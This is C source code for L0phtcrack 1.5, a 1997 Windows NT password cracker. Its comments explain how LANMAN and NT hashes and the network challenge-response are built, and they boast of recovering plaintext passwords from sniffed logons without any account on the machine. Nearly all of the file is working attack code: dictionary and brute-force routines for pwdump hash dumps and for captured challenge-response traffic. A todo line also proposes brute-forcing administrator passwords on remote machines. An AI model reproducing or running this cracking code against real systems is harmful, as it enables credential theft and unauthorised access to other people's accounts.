/* L0phtcrack 1.5 06.02.97 mudge@l0pht.com The original comments are left below for those that missed the first release. It still does all of the things the first one did PLUS: . Can now dictionary attack or brute force the network NT server challenge that is used to prevent the OWF from going across the wire in its plaintext format. Here's how their setup works: [assuming initial setup etc...] 8byte "random" challenge Client <---------------------- Server OWF1 = pad Lanman OWF with 5 nulls OWF2 = pad NT OWF with 5 nulls resp = E(OWF1, Chal) E(OWF2, Chal) 48byte response (24byte lanman 24byte nt) Client -----------------------> Server The client takes the OWF ( all 16 bytes of it) and pads with 5 nulls. From this point it des ecb encrypts the, now 21byte, OWF with the 8byte challenge. The resulting 24byte string is sent over to the server who performs the same operations on the OWF stored in it's registry and compares the resulting two 24byte strings. If they match the user used the correct passwd. What's cool about this? Well, now you can take your sniffer logs of NT logons and retrieve the plaintext passwords. This does not require an account on the NT machine nor does it require previous knowledge of the ADMINISTRATOR password. See, the problem was that of Microsoft's horrible marketing driven patch to prevent pwdump from working. [elaborate on why that sucked] . Recursion has been removed from both the brute forcing in the Lanman case and also in the NT case derivation from the Lanman password. The iterative functions, although they don't logically represent the problem as well as their recursive predecessors, are much more memory friendly. . The large bruter routine no longer overflows the Pentium L2 cache, well it didn't seem to do so bad if you had a 512k L2 cache as opposed to a 256k on. This offers a large performance increase in bruting. . A couple of bugs were fixed. /* NT-Cracker 03.24.97 mudge@l0pht.com This program takes the smbpassword file or the output generated by the excellent program pwdump (author name) and dictionary attacks the LANMAN One Way Password - LANMAN One Way Passwords are created in the following fashion: . The password is first converted to uppercase . If the password is longer than 14 chars (bytes) then it is truncated . If the password is less than 14 chars (bytes) then it is padded with NULL's to 14 bytes. . The padded/truncated password is then split in half and each half is used to generate an odd parity DES key . An 8 byte fixed value is then encrypted with each of the DES keys - these two results are concatenated together to produce a 16byte hash. The fixed value that is encrypted by each of the DES keys is the decryption of the value 0xAAD3B435B51404EE with a key of all zeros. Todo: add an entire keyspace attack to guarantee we get all of the passwords Todo: Roll this into pwdump and add the ability to try to brute force the administrators passwords on remote machines to obtain full user listings and OWPasswords. Todo: GUI for the Windows users - weld's job Todo: CLI portable Todo: If not bruting - let people know if we couldn't find the passwd in a dictionary and the word is <= 7 chars Crikey! Now I see where ECB mode is going to kill them in the NT dialect - this should make bruting either one trivial! BIG KUDOS go out to Hobbit@avian.org for his outstanding work in debunking CIFS. Without information provided in his paper this program wouldn't be here! This work is provided by the L0pht - it contains code from the following places: . Plenty of original code . generic routines from the samba code source . md4 routines from RSA . DES routines from Eric Young's libdes */ #include "includes.h" void f2(struct user_struct *Ustruct, char *str); extern void fill_user_struct(char *dastring, struct user_struct *da_struct); extern void str_to_key(unsigned char *,unsigned char *); extern void usage(char *); extern void LMword(char *, char *); extern char * atob(char *, int); extern int htoi(char c); int crackntdialect(struct user_struct *Ustruct, char *passwd, int check_case); void md4hash(char *passwd, unsigned char *p16, int len); extern int PutUniCode(char *dst,char *src); void chcase(char *str, int pos); void LowerString(char *holder, char *word); void printuser(struct user_struct *Ustruct, FILE *file); int cracklanman(struct user_struct *Ustruct, char *dict_word, char *tmphash); extern int isvalid_userline(char *user_entry); extern struct user_struct * init_linked_list(); extern void add_list_struct(struct user_struct *, char *); extern struct user_struct * remove_from_list(struct user_struct *); extern struct user_struct * rewind_list(struct user_struct *); extern void print_and_prune(struct user_struct *record, FILE *outlist); extern void build_linked_list(struct user_struct *head, FILE *pwlist); extern struct user_struct * filter_disabled(struct user_struct *head, FILE *outlist); extern struct user_struct * filter_nopasswd(struct user_struct *head, FILE *outlist); extern struct user_struct * setup_linked_list(int, FILE *, FILE *); int Lanman(struct user_struct *index, char *dict_word, FILE *outlist); int nt(struct user_struct *index, char *dict_word, FILE *outlist); int Lanman_and_nt(struct user_struct *index, char *dict_word, FILE *outlist); extern void free_struct_list(struct user_struct *); int brute_lanman(struct user_struct *Ustruct, FILE *outlist); void half_lanman(char *, char *); int brute_routine(struct user_struct *head, char *half_hash, char *, int iter); int lm_check_sniff(struct user_struct *, char *); int nt_check_sniff(struct user_struct *, char *); extern void nt_ify_list(struct user_struct *head); extern void print_hits(struct user_struct *head, FILE *outlist); extern struct user_struct * prune_list(struct user_struct *head); extern void E_P24(uchar *, uchar *, uchar *); int issame(char *, char *, int); /* Global str_to_crypt - this is what is encrypted with each of the odd parity DES keys for LANMAN - It is derived by decrypting the fixed byte quantity 0xAAD3B435B51404EE with a key of all 0's ie: fixed_key[] = "\xAA\xD3\xB4\x35\xB5\x14\x04\xEE"; memset(deskey3, '\0', sizeof(deskey3)); - key of all 0's des_set_key((des_cblock *)deskey3, ks3); des_ecb_encrypt((des_cblock *)fixed_key, (des_cblock *)str_to_crypt, ks3, DES_DECRYPT); */ char str_to_crypt[] = "\x4b\x47\x53\x21\x40\x23\x24\x25"; void main(int argc, char **argv) { FILE *pwlist, *wordlist, *outlist; char dict_word[MAX_WORD]; char *pwfile, *wordfile, *outfile; struct user_struct *head, *index, *foo, *bar; extern char *optarg; int c, pcount=0, Pcount=0, wcount=0, ocount=0, brute=0; int lanonly=0, ntonly=0; int ret=0; while ( (c = getopt(argc, argv, "p:P:w:blno:")) != EOF){ switch(c) { case 'p': /* passwd file from pwdump */ pwfile = optarg; pcount++; break; case 'P': /* passwd file from sniffer logs - we will look at Pcount / pcount to figure out what type of file pwfile is really pointing to */ pwfile = optarg; Pcount++; break; case 'w': /* dictionary of words */ wordfile = optarg; wcount++; break; case 'o': /* output file */ outfile = optarg; ocount++; break; case 'l': /* crack LANMAN password ONLY */ lanonly++; break; case 'n': /* crack NT Dialect only - dumb - better performance cracking both */ ntonly++; break; case 'b': /* brute force through keyspace */ brute++; break; default: usage(argv[0]); } } if ((pcount == 0 && Pcount == 0) || (pcount > 0 && Pcount > 0)) usage(argv[0]); else if ((wcount == 0 && brute == 0) || (wcount > 0 && brute > 0)) usage(argv[0]); if (lanonly > 0 && ntonly > 0) usage(argv[0]); if ((pwlist = fopen(pwfile, "r")) == NULL){ fprintf(stderr, "Error: could not open %s\n", pwfile); exit(1); } if (wcount > 0 ) { if ((wordlist = fopen(wordfile, "r")) == NULL){ fprintf(stderr, "Error: could not open %s\n", wordfile); exit(1); } } if (ocount > 0){ if ((outlist = fopen(outfile, "w")) == NULL){ fprintf(stderr, "Error: could not open %s\n", outfile); exit(1); } } else outlist = stdout; head = setup_linked_list(pcount, pwlist, outlist); /* pcount will be 1 if it's a regular pwdump file and 0 if it is a sniffer log with the challenge response */ foo = index = head; /* main loop */ head = rewind_list(index); index = foo = bar = head; if (head == NULL){ fprintf(stderr, "Nothing to do so I guess I'm done\n"); exit(1); } if (brute){ ret = brute_lanman(index, outlist); }else{ while (fgets(dict_word, MAX_WORD, wordlist) != NULL) { head = rewind_list(index); index = foo = bar = head; if (head == NULL){ fprintf(stderr, "Done\n"); exit(1); } while (bar != NULL){ if (lanonly){ Lanman(index, dict_word, outlist); } else if (ntonly) { nt(index, dict_word, outlist); } else { Lanman_and_nt(index, dict_word, outlist); } if (index->next == NULL){ bar = NULL; }else{ index = index->next; } } } } /* else from brute_lanman */ if (ret == 0){ /* if ret is > 0 then we have already pruned ALL of the structs in the list... */ head = rewind_list(index); free_struct_list(head); } if (ocount > 0) fclose(outlist); if (wcount > 0) fclose(wordlist); if (pcount > 0) fclose(pwlist); } /* routine to check the LANMAN passwd */ int cracklanman(struct user_struct *Ustruct, char *dict_word, char *fullhash){ unsigned char passwd[14]; unsigned char lanman[16]; des_cblock deskey1, deskey2; des_key_schedule ks1, ks2; memset(passwd, '\0', sizeof(passwd)); memset(lanman, '\0', sizeof(lanman)); LMword((char *)passwd, dict_word); /* uppercases and truncs/concats word into passwd */ if (!Ustruct->pwdumpval){ if (lm_check_sniff(Ustruct, passwd) == 1) return(1); else return(0); } str_to_key(passwd, deskey1); /* create the first 8byte odd parity des key */ des_set_key((des_cblock *)deskey1,ks1); /* setup the key schedule */ des_ecb_encrypt((des_cblock *)str_to_crypt, /* encrypt the known 8byte value */ (des_cblock *)lanman, ks1, DES_ENCRYPT); /* against the first des key */ str_to_key(&(passwd[7]), deskey2); des_set_key((des_cblock *)deskey2,ks2); des_ecb_encrypt((des_cblock *)str_to_crypt,\ (des_cblock *)&lanman[8], ks2, DES_ENCRYPT); strncpy(fullhash, (const char *)lanman, sizeof(lanman)); if (memcmp(Ustruct->lmhashb, lanman, sizeof(lanman)) == 0){ strncpy(Ustruct->lmpasswd, (const char *)passwd, LMPASSWDLEN); return(1); } return(0); } /* routine to check the md4 NT dialect passwd derived from the succesfull LANMAN passwd. returns 1 if succesfull, 0 otherwise - if check case is > 0 then all possible permutations of upper/lower are tried, if <=0 then just try the word in the case that we recieved it in. */ int crackntdialect(struct user_struct *Ustruct, char *passwd, int check_case){ char ntpasswd[129]; char *hold; unsigned char *p16; int pos, uni_len; memset(ntpasswd, '\0', sizeof(ntpasswd)); if (check_case){ /* go through the possible case sensitive perms */ LowerString(ntpasswd, passwd); pos = strlen(passwd) -1; f2(Ustruct, ntpasswd); }else{ /* not interested in case sensitivity - just try the dict word as we have it */ if (passwd[strlen(passwd)-1] == '\n') /* strip the \n - this is done in LowerString for the case sensitive check */ passwd[strlen(passwd)-1] = '\0'; hold = (char *)malloc(NTPASSWDLEN * 2); /* grab space for unicode */ if (hold == NULL){ fprintf(stderr, "out of memory...crackntdialog hold\n"); exit(1); } uni_len = PutUniCode(hold, passwd); /* convert to unicode and return correct unicode length for md4 */ p16 = (unsigned char*)malloc(16); /* grab space for md4 hash */ if (p16 == NULL){ fprintf(stderr, "out of memory...crackntdialect p16\n"); exit(1); } md4hash(hold, p16, uni_len); if (Ustruct->pwdumpval){ if (memcmp(p16, &Ustruct->nthashb, 16) == 0) strncpy(Ustruct->ntpasswd, passwd, NTPASSWDLEN); } else { if (nt_check_sniff(Ustruct, p16) == 1){ strncpy(Ustruct->ntpasswd, passwd, NTPASSWDLEN); } } free(p16); free(hold); } if (strlen(Ustruct->ntpasswd) > 0){ Ustruct->ntdone = 1; return(1); } else return(0); } /* Recursively check all variations on case as the NT Dialect passwd is case sensitive. This isn't too bad as the total possible perms is only 2 to the power of strlen(wordtocompare). We really need to make this iterative to save on memory and increase speed. If the function finds a match it puts it in Ustruct->ntpasswd. */ void f2(struct user_struct *Ustruct, char *str){ unsigned long i,j; char tmp[128], hold[256]; char ntresp[21], response[24]; unsigned char p16[16]; int len, uni_len, iters; len = strlen(str); iters = 1 << len; #ifdef _DEBUG printf("str: %s - len: %d\n", str, len); fflush(NULL); #endif for (i=0; i<iters; i++) { strcpy(tmp, str); /* Set case for this round */ for (j=0; j<len; j++) { if ( i & (1 << j)) { tmp[j] = toupper(tmp[j]); } } #ifdef _DEBUG printf("%d: %x %s \n", i, tmp, tmp); fflush(NULL); #endif uni_len = PutUniCode(hold, tmp); md4hash(hold, p16, uni_len); if (Ustruct->pwdumpval){ /* we're dealing with pwdump */ if (memcmp(p16, Ustruct->nthashb, 16) == 0){ strncpy(Ustruct->ntpasswd, tmp, NTPASSWDLEN); return; /* finished=1; */ } } else { /* we're dealing with sniffer logs */ if (nt_check_sniff(Ustruct, p16) == 1){ strncpy(Ustruct->ntpasswd, tmp, NTPASSWDLEN); return; } } } } /* * Creates the MD4 Hash of the users password in NT UNICODE. */ void md4hash(char *passwd, unsigned char *p16, int len) { int i=0; MDstruct MD; MDbegin(&MD); for(i = 0; i + 64 <= len; i += 64){ MDupdate(&MD,(unsigned char *)passwd + (i/2), 512); #ifdef BIGENDIAN MDreverse(MD.buffer); #endif } MDupdate(&MD,(unsigned char *)passwd + (i/2),(len-i)*8); #ifdef BIGENDIAN MDreverse(MD.buffer); #endif /* MDprint(&MD); printf("\n"); */ memcpy(p16, (unsigned char *)MD.buffer, 16); /* SIVAL(p16,0,MD.buffer[0]); SIVAL(p16,4,MD.buffer[1]); SIVAL(p16,8,MD.buffer[2]); SIVAL(p16,12,MD.buffer[3]); */ } void LowerString(char *holder, char *word){ size_t i; int word_len; word_len = strlen(word); if (strlen(word) > 128) word[128] = '\0'; for (i=0; i < word_len; i++){ if (isupper(word[i])) holder[i] = tolower(word[i]); else holder[i] = word[i]; } if (holder[word_len - 1] == '\n') holder[word_len - 1] = '\0'; } void chcase(char *str, int pos){ str[pos] = toupper(str[pos]); } void printuser(struct user_struct *Ustruct, FILE *file){ if (Ustruct->already_printed == 1) return; else { fprintf(file, "User: [%s] Lanman PW: [%s] NT dialect PW: [%s]\n", Ustruct->username, Ustruct->lmpasswd, Ustruct->ntpasswd); Ustruct->already_printed = 1; fflush(file); } } int Lanman(struct user_struct *index, char *dict_word, FILE *outlist){ struct user_struct *foo; char match_lmpasswd[14], match_lmhash[32], tmphash[16]; int ret=0; if (index->lmdone == 1){ printuser(index, outlist); return(1); }else{ if (index->pwdumpval){ /* doing the pwdump file */ if (cracklanman(index, dict_word, tmphash) == 1){ printuser(index, outlist); index->lmdone = 1; strcpy(match_lmpasswd, index->lmpasswd); memcpy(match_lmhash, index->lmhash, 32); ret = 1; } foo = index->next; while (foo != NULL){ if (memcmp(foo->lmhashb, tmphash, 16) == 0){ LMword(match_lmpasswd, dict_word); strcpy(foo->lmpasswd, match_lmpasswd); foo->lmdone = 1; foo = foo->next; } else { foo = foo->next; } } } else { /* doing the sniffer logs */ LMword(match_lmpasswd, dict_word); if (lm_check_sniff(index, match_lmpasswd) == 1){ printuser(index, outlist); index->lmdone = 1; ret = 1; } } } return(ret); } int nt(struct user_struct *index, char *dict_word, FILE *outlist){ struct user_struct *foo; char match_ntpasswd[129], match_nthash[32]; if (index->ntdone == 1){ printuser(index, outlist); return(1); }else{ if (crackntdialect(index, dict_word, 1) == 1){ printuser(index, outlist); index->ntdone = 1; if (index->pwdumpval){ strcpy(match_ntpasswd, index->ntpasswd); memcpy(match_nthash, index->nthash, 32); foo = index->next; while (foo != NULL){ if (memcmp(foo->nthash, match_nthash, 32) == 0){ strcpy(foo->ntpasswd, match_ntpasswd); foo->ntdone = 1; foo = foo->next; } else foo = foo->next; } } return(1); } } return(0); } int Lanman_and_nt(struct user_struct *index, char *dict_word, FILE *outlist){ struct user_struct *foo; char match_lmpasswd[15], match_lmhash[32]; char tmphash[16]; int ret=0; if (index->lmdone == 1 && index->ntdone){ printuser(index, outlist); return(1); }else{ if (cracklanman(index, dict_word, tmphash) == 1){ index->lmdone = 1; strcpy(match_lmpasswd, index->lmpasswd); memcpy(match_lmhash, index->lmhash, 32); if (crackntdialect(index, index->lmpasswd, 1) == 1){ /* printuser(index, outlist); */ index->ntdone = 1; } ret = 1; if ((index->lmdone) || (index->ntdone)) printuser(index, outlist); } if (index->pwdumpval){ foo = index->next; while (foo != NULL){ if (memcmp(foo->lmhashb, tmphash, 16) == 0){ LMword(match_lmpasswd, dict_word); strcpy(foo->lmpasswd, match_lmpasswd); foo->lmdone = 1; crackntdialect(foo, foo->lmpasswd, 1); foo = foo->next; } else { foo = foo->next; } } } } return(ret); } int brute_lanman(struct user_struct *head, FILE *outlist){ char brute_str[7]; char all_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; char half_hash[8]; char tmp[128]; int spacelen = strlen(all_chars); int pwlen = 7; char *tmpspace[7+1]; struct user_struct *index; int i; int size; size = strlen(all_chars); index = head; memset(brute_str, '\0', sizeof(brute_str)); memset(tmp, '\0', sizeof(tmp)); /* initialize the pointers */ tmpspace[0]=&all_chars[0]; for (i=1; i<=pwlen; i++) { tmpspace[i]=0; } /* ok here we go, go until that extra pointer gets changed... */ while(!tmpspace[pwlen]) { for (i=0; i<=pwlen; i++) { if(tmpspace[i] != 0) { tmp[i]=*tmpspace[i]; } else break; /* { tmp[i]='\0'; } */ } /* printf("%s : %d\n", tmp, strlen(tmp)); */ if (index->pwdumpval){ half_lanman(half_hash, tmp); if (brute_routine(index, half_hash, tmp, 7) == 1){ #ifdef _DEBUG printf("gotone in round %d\n", iter); fflush(NULL); #endif nt_ify_list(index); print_hits(index, outlist); head = prune_list(index); if (!head) return(1); else index = head; } } else { if (lm_check_sniff(index, tmp) == 1){ nt_ify_list(index); print_hits(index, outlist); head = prune_list(index); if (!head) return(1); else index = head; } } /* increment */ tmpspace[0]++; /* carry ? */ for (i=0; i<pwlen; i++) { if (tmpspace[i] > &all_chars[spacelen -1]) { tmpspace[i] = &all_chars[0]; /* can't just inc the pointer but this could be removed by playing games with the data struct... ;-) */ if (tmpspace[i+1] !=0) { tmpspace[i+1]++; } else { tmpspace[i+1] = &all_chars[0]; } } } } return(0); } void half_lanman(char *half_hash, char *brute_str){ unsigned char lanman[8]; des_cblock deskey1; des_key_schedule ks1; /* create the first 8byte odd parity des key */ str_to_key((unsigned char *)brute_str, deskey1); /* setup the key schedule */ des_set_key((des_cblock *)deskey1,ks1); /* encrypt the known 8byte value against the first des key */ des_ecb_encrypt((des_cblock *)str_to_crypt, (des_cblock *)lanman, ks1,\ DES_ENCRYPT); memcpy(half_hash, lanman, 8); } /* routine to check the LANMAN passwd */ void full_lanman(char *fullhash, char *dict_word){ unsigned char passwd[14]; unsigned char lanman[16]; des_cblock deskey1, deskey2; des_key_schedule ks1, ks2; memset(passwd, '\0', sizeof(passwd)); memset(lanman, '\0', sizeof(lanman)); strncpy(passwd, dict_word, 14); str_to_key(passwd, deskey1); /* create the first 8byte odd parity des key */ des_set_key((des_cblock *)deskey1,ks1); /* setup the key schedule */ des_ecb_encrypt((des_cblock *)str_to_crypt, /* encrypt the known 8byte value */ (des_cblock *)lanman, ks1, DES_ENCRYPT); /* against the first des key */ str_to_key(&(passwd[7]), deskey2); des_set_key((des_cblock *)deskey2,ks2); des_ecb_encrypt((des_cblock *)str_to_crypt,\ (des_cblock *)&lanman[8], ks2, DES_ENCRYPT); strncpy(fullhash, (const char *)lanman, sizeof(lanman)); } int brute_routine(struct user_struct *head, char *half_hash, char *brute_str, int iter){ struct user_struct *index; int positive=0; index = head; while (index != NULL){ if (index->under7){ if (memcmp(index->lmhashb, half_hash, 8) == 0){ strncpy(index->first_half, brute_str, 7); strncpy(index->lmpasswd, brute_str, 7); index->lmdone = 1; positive = 1; } }else{ if (iter == 7){ if (strlen(index->first_half) == 0){ if (memcmp(index->lmhashb, half_hash, 8) == 0){ strncpy(index->first_half, brute_str, 7); if (strlen(index->second_half) != 0){ positive=1; } } } } if (strlen(index->second_half) == 0){ if (memcmp(&index->lmhashb[8], half_hash, 8) == 0){ strncpy(index->second_half, brute_str, 7); #ifdef _DEBUG printf("snagged second half in round %d\n", iter); fflush(NULL); #endif } } } if (!(index->under7)){ if ((strlen(index->first_half) > 0) && (strlen(index->second_half) > 0)){ strncpy(index->lmpasswd, index->first_half, 7); strncat(&index->lmpasswd[7], index->second_half, 7); index->lmdone = 1; positive = 1; } } index = index->next; } return(positive); } int lm_check_sniff(struct user_struct *head, char *brute_str){ struct user_struct *index; char pre_lmresp[21]; char response[24]; char full_lmhash[16]; int positive=0; index = head; while (index != NULL){ memset(pre_lmresp, '\0', 21); full_lanman(full_lmhash, brute_str); memcpy(pre_lmresp, full_lmhash, 16); E_P24(pre_lmresp, index->server_chall, response); if (memcmp(index->lmresp_b, response, 24) == 0){ memcpy(index->lmpasswd, brute_str, 14); memcpy(index->lmhashb, full_lmhash, 16); index->lmdone = 1; positive = 1; } index = index->next; } return(positive); } int nt_check_sniff(struct user_struct *head, char *nthash){ struct user_struct *index; char pre_ntresp[21]; char response[24]; int positive=0; index = head; memset(pre_ntresp, '\0', 21); memcpy(pre_ntresp, nthash, 16); E_P24(pre_ntresp, index->server_chall, response); if (memcmp(index->ntresp_b, response, 24) == 0){ memcpy(index->nthashb, nthash, 16); index->ntdone = 1; positive = 1; } return(positive); } int issame(char *one, char *two, int len){ return(memcmp(one, two, len)); }